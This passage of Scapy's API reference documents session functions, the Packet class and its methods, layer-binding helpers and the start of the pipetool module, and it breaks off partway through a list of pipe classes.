scapy.main.load_module(name: str, globals_dict: Dict[str, Any] | None = None, symb_list: List[str] | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L210-L217]

	Loads a Scapy module to make variables, objects and functions
available globally.






	
scapy.main.load_session(fname: str | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L431-L456]

	Load current Scapy session from the file specified in the fname arg.
This will erase any existing session.


	params:
	
	fname: file to load the scapy session from













	
scapy.main.save_session(fname: str = '', session: Dict[str, Any] | None = None, pickleProto: int = -1) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L374-L428]

	Save current Scapy session to the file specified in the fname arg.


	params:
	
	fname: file to save the scapy session in


	session: scapy session to use. If None, the console one will be used


	pickleProto: pickle proto version (default: -1 = latest)













	
scapy.main.update_ipython_session(session: Dict[str, Any]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L325-L335]

	Updates IPython session with a custom one






	
scapy.main.update_session(fname: str | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L459-L474]

	Update current Scapy session from the file specified in the fname arg.


	params:
	
	fname: file to load the scapy session from















            

          

      

      

    

  

    
      
          
            
  
scapy.packet

Packet class


	Provides:
	
	the default Packet classes


	binding mechanisms


	fuzz() method


	exploration methods: explore() / ls()









	
class scapy.packet.NoPayload(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1784-L1961]

	Bases: Packet


	
add_parent(parent: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1817-L1819]

	




	
add_payload(payload: Packet | bytes) → NoReturn[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1801-L1803]

	




	
add_underlayer(underlayer: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1809-L1811]

	




	
aliastypes

	




	
answers(other: Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1904-L1906]

	




	
build() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1854-L1856]

	




	
build_done(p: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1862-L1864]

	




	
build_padding() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1858-L1860]

	




	
build_ps(internal: int = 0) → Tuple[bytes, List[Any]][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1866-L1868]

	




	
clear_cache() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1829-L1831]

	




	
command() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1951-L1953]

	




	
copy() → NoPayload[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1825-L1827]

	




	
delfieldval(attr: str) → NoReturn[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1882-L1884]

	




	
dissection_done(pkt: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1797-L1799]

	




	
do_build() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1850-L1852]

	




	
fragment(*args: Any, **kargs: Any) → List[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1924-L1926]

	




	
getfield_and_val(attr: str) → NoReturn[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1874-L1876]

	




	
getfieldval(attr: str) → NoReturn[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1870-L1872]

	




	
getlayer(cls: int | Type[Packet] | str, nb: int = 1, _track: List[int] | None = None, _subclass: bool | None = None, **flt: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1912-L1922]

	




	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1900-L1902]

	




	
haslayer(cls: Type[Packet] | str, _subclass: bool | None = None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1908-L1910]

	




	
hide_defaults() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1886-L1888]

	




	
json() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1955-L1957]

	




	
lastlayer(layer: Packet | None = None) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1947-L1949]

	




	
layers() → List[Type[Packet]][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1943-L1945]

	




	
remove_parent(other: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1821-L1823]

	




	
remove_payload() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1805-L1807]

	




	
remove_underlayer(other: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1813-L1815]

	




	
route() → Tuple[None, None, None][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1959-L1961]

	




	
setfieldval(attr: str, val: Any) → NoReturn[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1878-L1880]

	




	
show(dump: bool = False, indent: int = 3, lvl: str = '', label_lvl: str = '') → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1928-L1930]

	




	
sprintf(fmt: str, relax: int = 1) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1932-L1937]

	








	
class scapy.packet.Packet(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L81-L1781]

	Bases: BasePacket, _CanvasDumpExtended


	
add_parent(parent: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L400-L405]

	Set packet parent.
When packet is an element in PacketListField, parent field would
point to the list owner packet.






	
add_payload(payload: Packet | bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L367-L384]

	




	
add_underlayer(underlayer: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L392-L394]

	




	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1244-L1249]

	DEV: true if self is an answer from other






	
build() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L753-L763]

	Create the current layer


	Returns:

	string of the packet with the payload










	
build_done(p: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L776-L778]

	




	
build_padding() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L749-L751]

	




	
build_ps(internal: int = 0) → Tuple[bytes, List[Tuple[Packet, List[Tuple[Any, Any, bytes]]]]][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L802-L812]

	




	
canvas_dump(layer_shift: int = 0, rebuild: int = 1) → pyx.canvas.canvas[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L814-L987]

	




	
class_default_fields

	




	
class_default_fields_ref

	




	
class_dont_cache

	




	
class_fieldtype

	




	
class_packetfields

	




	
clear_cache() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L671-L683]

	Clear the raw packet cache for the field and all its subfields






	
clone_with(payload: Any | None = None, **kargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1126-L1145]

	




	
command() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1753-L1766]

	Returns a string representing the command you have to type to
obtain the same packet






	
comment: bytes | None

	




	
copy() → Self[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L414-L433]

	Returns a deep copy of the instance.






	
copy_field_value(fieldname: str, value: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L644-L646]

	




	
copy_fields_dict(fields: _T) → _T[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L648-L653]

	




	
decode_payload_as(cls: Type[Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1689-L1697]

	Reassembles the payload and decode it using another packet class






	
default_fields: Dict[str, Any]

	




	
default_payload_class(payload: bytes) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1104-L1113]

	DEV: Returns the default payload class if nothing has been found by the
guess_payload_class() method.


	Parameters:

	payload (str) – the layer’s payload



	Returns:

	the default payload class define inside the configuration file










	
delfieldval(attr: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L511-L524]

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {}

	




	
direction: int | None

	




	
display(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1401-L1404]

	Deprecated. Use show() method.






	
dissect(s: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1072-L1083]

	




	
dissection_done(pkt: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L351-L355]

	DEV: will be called after a dissection is completed






	
do_build() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L731-L747]

	Create the default version of the layer


	Returns:

	a string of the packet with the payload










	
do_build_payload() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L722-L729]

	Create the default version of the payload layer


	Returns:

	a string of payload layer










	
do_build_ps() → Tuple[bytes, List[Tuple[Packet, List[Tuple[Field[Any, Any], str, bytes]]]]][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L780-L800]

	




	
do_dissect(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1009-L1031]

	




	
do_dissect_payload(s: bytes) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1033-L1070]

	Perform the dissection of the layer’s payload


	Parameters:

	s (str) – the raw layer










	
do_init_cached_fields() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L280-L307]

	Initialize each fields of the fields_desc dict, or use the cached
fields information






	
do_init_fields(flist: Sequence[Field[Any, Any] | _FieldContainer]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L264-L278]

	Initialize each fields of the fields_desc dict






	
explicit

	




	
extract_padding(s: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L989-L997]

	DEV: to be overloaded to extract current layer’s padding.


	Parameters:

	s (str) – the current layer



	Returns:

	a couple of strings (actual layer, padding)










	
fields: Dict[str, Any]

	




	
fields_desc

	




	
fieldtype: Dict[str, Field[Any, Any] | _FieldContainer]

	




	
firstlayer() → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1349-L1354]

	




	
fragment(*args: Any, **kargs: Any) → List[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1397-L1399]

	




	
classmethod from_hexcap() → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L119-L122]

	




	
get_field(fld: str) → Field[Any, Any] | _FieldContainer[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L362-L365]

	DEV: returns the field instance from the name of the field






	
getfield_and_val(attr: str) → Tuple[Field[Any, Any] | _FieldContainer, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L457-L467]

	




	
getfieldval(attr: str) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L445-L455]

	




	
getlayer(cls: int | Type[Packet] | str, nb: int = 1, _track: List[int] | None = None, _subclass: bool | None = None, **flt: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1289-L1347]

	Return the nb^th layer that is an instance of cls, matching flt
values.






	
guess_payload_class(payload: bytes) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1085-L1102]

	DEV: Guesses the next payload class from layer bonds.
Can be overloaded to use a different mechanism.


	Parameters:

	payload (str) – the layer’s payload



	Returns:

	the payload class










	
hashret() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1238-L1242]

	DEV: returns a string that has the same value for a request
and its answer.






	
haslayer(cls: Type[Packet] | str, _subclass: bool | None = None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1261-L1287]

	true if self has a layer that is an instance of cls.
Superseded by “cls in self” syntax.






	
hide_defaults() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1115-L1124]

	Removes fields’ values that are the same as default values.






	
init_fields() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L253-L262]

	Initialize each fields of the fields_desc dict






	
iterpayloads() → Iterator[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1188-L1197]

	Used to iter through the payloads of a Packet.
Useful for DNS or 802.11 for instance.






	
json() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1768-L1781]

	Returns a JSON representing the packet.

Please note that this cannot be used for bijective usage: data loss WILL occur,
so it will not make sense to try to rebuild the packet from the output.
This must only be used for a grepping/displaying purpose.






	
lastlayer(layer: Packet | None = None) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1684-L1687]

	Returns the uppest layer of the packet






	
layers() → List[Type[Packet]][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1251-L1259]

	returns a list of layer classes (including subclasses) in this packet






	
classmethod lower_bonds() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L135-L144]

	




	
match_subclass = False

	




	
mysummary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1646-L1652]

	DEV: can be overloaded to return a string that summarizes the layer.
Only one mysummary() is used in a whole packet summary: the one of the upper layer,  # noqa: E501
except if a mysummary() also returns (as a couple) a list of layers whose  # noqa: E501
mysummary() must be called if they are present.






	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[Field[Any, Any] | _FieldContainer]

	




	
parent

	




	
payload: Packet

	




	
payload_guess

	




	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L765-L774]

	DEV: called right after the current layer is build.


	Parameters:

	
	pkt (str) – the current packet (build by self_build function)


	pay (str) – the packet payload (build by do_build_payload function)






	Returns:

	a string of the packet with the payload










	
post_dissect(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L999-L1002]

	DEV: is called right after the current layer has been dissected






	
post_dissection(pkt: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L357-L360]

	DEV: is called after the dissection of the whole packet






	
post_transforms

	




	
pre_dissect(s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1004-L1007]

	DEV: is called right before the current layer is dissected






	
prepare_cached_fields(flist: Sequence[Field[Any, Any] | _FieldContainer]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L309-L349]

	Prepare the cached fields of the fields_desc dict






	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
remove_parent(other: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L407-L412]

	Remove packet parent.
When packet is an element in PacketListField, parent field would
point to the list owner packet.






	
remove_payload() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L386-L390]

	




	
remove_underlayer(other: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L396-L398]

	




	
route() → Tuple[str | None, str | None, str | None][source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1393-L1395]

	




	
self_build() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L685-L720]

	Create the default layer regarding fields_desc dict


	Parameters:

	field_pos_list – 










	
sent_time: EDecimal | float | None

	




	
setfieldval(attr: str, val: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L479-L499]

	




	
show(dump: bool = False, indent: int = 3, lvl: str = '', label_lvl: str = '') → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1496-L1508]

	Prints or returns (when “dump” is true) a hierarchical view of the
packet.


	Parameters:

	
	dump – determine if it prints or returns the string value


	indent (int) – the size of indentation for each layer


	lvl (str) – additional information about the layer lvl


	label_lvl (str) – additional information about the layer fields






	Returns:

	return a hierarchical view if dump, else print it










	
show2(dump: bool = False, indent: int = 3, lvl: str = '', label_lvl: str = '') → Any | None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1510-L1523]

	Prints or returns (when “dump” is true) a hierarchical view of an
assembled version of the packet, so that automatic fields are
calculated (checksums, etc.)


	Parameters:

	
	dump – determine if it prints or returns the string value


	indent (int) – the size of indentation for each layer


	lvl (str) – additional information about the layer lvl


	label_lvl (str) – additional information about the layer fields






	Returns:

	return a hierarchical view if dump, else print it










	
show_indent = 1

	




	
show_summary = True

	




	
sniffed_on: NetworkInterface | str | None

	




	
sprintf(format[, relax=1]) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1525-L1644]

	Where format is a string that can include directives. A directive
begins and ends by % and has the following format:
%[fmt[r],][cls[:nb].]field%


	Parameters:

	fmt – is a classic printf directive, “r” can be appended for raw
substitution:
(ex: IP.flags=0x18 instead of SA), nb is the number of the layer
(ex: for IP/IP packets, IP:2.src is the src of the upper IP layer).
Special case : “%.time%” is the creation time.
Ex:

p.sprintf(
  "%.time% %-15s,IP.src% -> %-15s,IP.dst% %IP.chksum% "
  "%03xr,IP.proto% %r,TCP.flags%"
)





Moreover, the format string can include conditional statements. A
conditional statement looks like : {layer:string} where layer is a
layer name, and string is the string to insert in place of the
condition if it is true, i.e. if layer is present. If layer is
preceded by a “!”, the result is inverted. Conditions can be
imbricated. A valid statement can be:

p.sprintf("This is a{TCP: TCP}{UDP: UDP}{ICMP:n ICMP} packet")
p.sprintf("{IP:%IP.dst% {ICMP:%ICMP.type%}{TCP:%TCP.dport%}}")





A side effect is that, to obtain “{” and “}” characters, you must use
“%(” and “%)”.












	
stop_dissection_after

	




	
summary(intern: int = 0) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1679-L1682]

	Prints a one line summary of a packet.






	
time: EDecimal | float

	




	
underlayer

	




	
classmethod upper_bonds() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L124-L133]

	




	
wirelen: int | None

	








	
class scapy.packet.Padding(_pkt, /, *, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1998-L2010]

	Bases: Raw


	
aliastypes

	




	
build_padding() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2005-L2010]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Padding                           


Padding fields






	load

	StrField

	b''











	
self_build(field_pos_list: Any | None = None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2001-L2003]

	








	
class scapy.packet.Raw(_pkt, /, *, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1969-L1995]

	Bases: Packet


	
aliastypes

	




	
answers(other: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1983-L1985]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. Raw                             


Raw fields






	load

	StrField

	b''











	
mysummary() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1987-L1995]

	








	
scapy.packet.bind_bottom_up(lower: Type[Packet], upper: Type[Packet], __fval: Any | None = None, **fval: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2023-L2042]

	Bind 2 layers for dissection.
The upper layer will be chosen for dissection on top of the lower layer, if
ALL the passed arguments are validated. If multiple calls are made with
the same layers, the last one will be used as default.


	ex:
	>>> bind_bottom_up(Ether, SNAP, type=0x1234)
>>> Ether(b'\xff\xff\xff\xff\xff\xff\xd0P\x99V\xdd\xf9\x124\x00\x00\x00\x00\x00')  # noqa: E501
<Ether  dst=ff:ff:ff:ff:ff:ff src=d0:50:99:56:dd:f9 type=0x1234 |<SNAP  OUI=0x0 code=0x0 |>>  # noqa: E501














	
scapy.packet.bind_layers(lower: Type[Packet], upper: Type[Packet], __fval: Dict[str, int] | None = None, **fval: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2066-L2088]

	Bind 2 layers on some specific fields’ values.

It makes the packet being built and dissected when the arguments
are present.

This function calls both bind_bottom_up and bind_top_down, with
all passed arguments.


	Please have a look at their docs:
	
	help(bind_bottom_up)


	help(bind_top_down)













	
scapy.packet.bind_top_down(lower: Type[Packet], upper: Type[Packet], __fval: Any | None = None, **fval: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2045-L2063]

	Bind 2 layers for building.
When the upper layer is added as a payload of the lower layer, all the
arguments will be applied to them.


	ex:
	>>> bind_top_down(Ether, SNAP, type=0x1234)
>>> Ether()/SNAP()
<Ether  type=0x1234 |<SNAP  |>>














	
scapy.packet.explore(layer: str | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2152-L2338]

	Function used to discover the Scapy layers and protocols.
It helps to see which packets exists in contrib or layer files.


	params:
	
	
	layer: If specified, the function will explore the layer. If not,
	the GUI mode will be activated, to browse the available layers













Examples

>>> explore()  # Launches the GUI
>>> explore("dns")  # Explore scapy.layers.dns
>>> explore("http2")  # Explore scapy.contrib.http2
>>> explore(scapy.layers.bluetooth4LE)





Note: to search a packet by name, use ls(“name”) rather than explore.






	
scapy.packet.fuzz(p: _P, _inplace: int = 0) → _P[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2599-L2646]

	Transform a layer into a fuzzy layer by replacing some default values
by random objects.


	Parameters:

	p – the Packet instance to fuzz



	Returns:

	the fuzzed packet.










	
scapy.packet.ls(obj: str | Packet | Type[Packet] | None = None, case_sensitive: bool = False, verbose: bool = False) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2419-L2483]

	List  available layers, or infos on a given layer class or name.


	Parameters:

	
	obj – Packet / packet name to use


	case_sensitive – if obj is a string, is it case sensitive?


	verbose – 













	
scapy.packet.rfc(cls: Type[Packet], ret: bool = False, legend: bool = True) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2486-L2589]

	Generate an RFC-like representation of a packet def.


	Parameters:

	
	cls – the Packet class


	ret – return the result instead of printing (def. False)


	legend – show text under the diagram (default True)








Ex:

>>> rfc(Ether)










	
scapy.packet.split_bottom_up(lower: Type[Packet], upper: Type[Packet], __fval: Any | None = None, **fval: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2091-L2109]

	This call un-links an association that was made using bind_bottom_up.
Have a look at help(bind_bottom_up)






	
scapy.packet.split_layers(lower: Type[Packet], upper: Type[Packet], __fval: Any | None = None, **fval: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2131-L2149]

	Split 2 layers previously bound.
This call un-links calls bind_top_down and bind_bottom_up. It is the opposite of  # noqa: E501
bind_layers.


	Please have a look at their docs:
	
	help(split_bottom_up)


	help(split_top_down)













	
scapy.packet.split_top_down(lower: Type[Packet], upper: Type[Packet], __fval: Any | None = None, **fval: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L2112-L2128]

	This call un-links an association that was made using bind_top_down.
Have a look at help(bind_top_down)








            

          

      

      

    

  

    
      
          
            
  
scapy.pipetool


	
class scapy.pipetool.AutoSource(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L463-L488]

	Bases: Source


	
deliver() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L480-L488]

	








	
class scapy.pipetool.CLIFeeder(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L568-L587]

	Bases: AutoSource

Send messages from python command line:

   +--------+
>>-|        |->>
   | send() |
 >-|   `----|->
   +--------+






	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L585-L587]

	




	
send(msg: str) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L580-L583]

	








	
class scapy.pipetool.CLIHighFeeder(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L590-L605]

	Bases: CLIFeeder

Send messages from python command line to high output:

   +--------+
>>-|   .----|->>
   | send() |
 >-|        |->
   +--------+






	
send(msg: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L602-L605]

	








	
class scapy.pipetool.ConsoleSink(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L512-L530]

	Bases: Sink

Print messages on low and high entries to stdout

   +-------+
>>-|--.    |->>
   | print |
 >-|--'    |->
   +-------+






	
high_push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L528-L530]

	




	
push(msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L524-L526]

	








	
class scapy.pipetool.DownDrain(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L866-L884]

	Bases: Drain

Repeat messages from high entry to low exit:

   +-------+
>>-|--.    |->>
   |   \   |
 >-|    `--|->
   +-------+






	
high_push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L882-L884]

	




	
push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L878-L880]

	








	
class scapy.pipetool.Drain(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L378-L396]

	Bases: Pipe

Repeat messages from low/high entries to (resp.) low/high exits

   +-------+
>>-|-------|->>
   |       |
 >-|-------|->
   +-------+






	
high_push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L394-L396]

	




	
push(msg: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L390-L392]

	








	
class scapy.pipetool.PeriodicSource(msg: Iterable[Any] | Any, period: int, period2: int = 0, name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L608-L641]

	Bases: ThreadGenSource

Generate messages periodically on low exit:

   +-------+
>>-|       |->>
   | msg,T |
 >-|  `----|->
   +-------+






	
generate() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L630-L641]

	








	
class scapy.pipetool.Pipe(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L254-L354]

	Bases: object


	
start() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L348-L350]

	




	
stop() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L352-L354]

	








	
class scapy.pipetool.PipeEngine(*pipes: Pipe)[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L37-L234]

	Bases: ObjectPipe[str]


	
add(*pipes: Pipe) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L203-L210]

	




	
add_one_pipe(pipe: Pipe) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L92-L100]

	




	
get_pipe_list(pipe: Pipe) → Set[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L102-L114]

	




	
graph(**kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L212-L234]

	




	
classmethod list_pipes() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L40-L47]

	




	
classmethod list_pipes_detailed() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/pipetool.py#L49-L56]

	




	
pipes: Dict[str, Type[Pipe]] = {'AutoSource': <class 'scapy.pipetool.AutoSource'>, 'CLIFeeder': <class 'scapy.pipetool.CLIFeeder'>, 'CLIHighFeeder': <class 'scapy.pipetool.CLIHighFeeder'>, 'ConsoleSink': <class 'scapy.pipetool.ConsoleSink'>, 'DownDrain': <class 'scapy.pipetool.DownDrain'>, 'Drain': <class 'scapy.pipetool.Drain'>, 'FDSourceSink': <class 'scapy.scapypipes.FDSourceSink'>, 'Inject3Sink': <class 'scapy.scapypipes.Inject3Sink'>, 'InjectSink': <class 'scapy.scapypipes.InjectSink'>, 'PeriodicSource': <class 'scapy.pipetool.PeriodicSource'>, 'Pipe': <class 'scapy.pipetool.Pipe'>, 'QueueSink': <class 'scapy.pipetool.QueueSink'>, 'RawConsoleSink': <class 'scapy.pipetool.RawConsoleSink'>, 'RdpcapSource': <class 'scapy.scapypipes.RdpcapSource'>, 'Sink': <class 'scapy.pipetool.Sink'>, 'SniffSource': <class 'scapy.scapypipes.SniffSource'>, 'Source': <class 'scapy.pipetool.Source'>, 'TCPConnectPipe': <class 'scapy.scapypipes.TCPConnectPipe'>, 'TCPListenPipe': <class 'scapy.scapypipes.TCPListenPipe'>, 'TermSink': <class 'scapy.pipetool.TermSink'>, 'ThreadGenSource': <class 'scapy.pipetool.ThreadGenSource'>, 'TransformDrain': <class 'scapy.pipetool.TransformDrain'>, 'TriggerDrain': <class 'scapy.scapypipes.TriggerDrain'>, 'TriggerSink': <class 'scapy.pipetool.TriggerSink'>, 'TriggeredMessage': <class 